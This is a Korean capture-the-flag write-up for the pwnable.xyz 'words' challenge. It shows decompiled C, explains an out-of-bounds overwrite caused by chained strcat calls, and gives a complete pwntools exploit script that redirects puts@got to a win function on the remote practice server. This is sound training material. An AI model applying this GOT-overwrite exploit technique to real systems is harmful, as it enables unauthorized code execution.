[pwnable.xyz] words
Pwn/pwnable.xyz

[pwnable.xyz] words

반응형
문제 풀이 환경 : Ubuntu 20.04

취약한 부분이 어딘지는 알았지만 오프셋 맞추기 귀찮았던 문제...

switch의 default를 이용할 생각을 못해 다른 사람 롸업을 좀 봤다.

📝 Analysis


<< Mitigation >>

RELRO가 없으니 GOT Overwrite가 가능하다.

<< Code >>

· main

메뉴별로 선택할 수 있다.

fill로 시작하는 메뉴에 들어가면 전역 변수 a를 기준으로 strcpy, strcat을 수행하고 있다.

핵심 메뉴 빼고는 설명하지 않겠다.

 

· save_progress

전역 변수가 널려있는데 bss에 할당된 구조부터 보자.

fill_xxx() 함수들에서 strcpy, strcat을 수행한다고 했는데 이를 잘 이용하면 save_progress에서 쓰이는 buf에 담긴 값을 조작할 수 있을 것 같다. (OOB 취약점)

strcpy는 복사한 문자열의 끝에 NULL byte를 넣으니 계속 짧게 끝날 테니 strcat을 계속 사용해서 buf의 끝 한자리를 NULL byte로 맞추도록 만들면 된다.

fill 함수들을 잘 이용하자.

 

· fill_handles

int fill_handles()
{
  int v1; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  printf(
    "Choose: \n"
    "1. ___ says I suck at math :(.\n"
    "2. The strongest crossfitter in OTA is ___.\n"
    "3. ___ is a neural-network machine-learning AI.\n"
    "4. ___ says \"F*ck Me Dead Mate!!\" when surprised.\n"
    "5. ___ is a cheap imitation of corb0tnik.\n"
    "> ");
  v1 = read_int32();
  printf("Choose: \n1. vakzz\n2. kileak\n3. grazfather\n4. corb3nik\n5. rh0gue\n> ");
  v2 = read_int32();
  if ( v1 == 2 )
  {
    strcpy(a, "The strongest crossfitter in OTA is ");
  }
  else
  {
    switch ( v2 )
    {
      case 1:
        strcpy(a, "vakzz");
        break;
      case 2:
        strcpy(a, "kileak");
        goto LABEL_6;
      case 3:
LABEL_6:
        strcpy(a, "grazfather");
        break;
      case 4:
        strcpy(a, "corb3nik");
        break;
      case 5:
        strcpy(a, "rh0gue");
        break;
      default:
        break;
    }
  }
  switch ( v1 )
  {
    case 1:
      strcat(a, " says I suck at math :(.");
      break;
    case 2:
      switch ( v2 )
      {
        case 1:
          strcat(a, "vakzz");
          break;
        case 2:
          strcat(a, "kileak");
          break;
        case 3:
          strcat(a, "grazfather");
          break;
        case 4:
          strcat(a, "corb3nik");
          break;
        case 5:
          strcat(a, "rh0gue");
          break;
        default:
          return puts(a);
      }
      break;
    case 3:
      strcat(a, " is a neural-network machine-learning AI.");
      break;
    case 4:
      strcat(a, " says \"F*ck Me Dead Mate!!\" when surprised.");
      break;
    case 5:
      strcat(a, " is a cheap imitation of corb0tnik.");
      break;
    default:
      return puts(a);
  }
  return puts(a);
}

다른 fill 함수들과는 달리 strcpy를 스킵할 수 있고 strcat만 사용할 수 있도록 할 수 있다.

 

🧩 Exploit Scenario 


1. buf에 아무 값도 없을 테니 먼저 reserve 전역 변수의 시작 주소를 저장할 수 있도록 한다.

2. fill 함수를 적절히 사용해 buf에 저장된 reserve 시작 주소의 끝 한 바이트를 NULL로 바꾼다.

  그럼 0x610EC0 -> 0x610E00이 된다.

3. save_progress를 부르면 buf보다 낮은 주소에서 값을 쓸 수 있으니 다시 buf에 들어갈 값을 조작할 수 있다.

4. buf의 값을 puts@got로 조작한다.

5. 다시 save_progress를 불러 puts@got를 win 함수의 주소로 바꾼다.

6. main에서 없는 메뉴를 불러 puts가 win을 부르게 한다.

 

🚩 Flag 🚩


from pwn import *
# context.log_level = 'debug'

# p = process('./words')
p = remote('svc.pwnable.xyz', 30036)
e = ELF('./words')

p.sendlineafter(b'> ', b'5')
p.sendafter(b'Size: ', str(-1).encode())
p.send(b'AAAA')

p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'> ', b'0')
for _ in range(2):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'> ', b'0')
for _ in range(6):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'> ', b'0')

p.sendlineafter(b'> ', b'5')
payload  = b'A' * 0xa0
payload += p64(e.got['puts'])
p.send(payload)

p.sendlineafter(b'> ', b'5')
p.send(p64(e.sym['win']))

p.sendlineafter(b'> ', b'0')

p.interactive()

 

반응형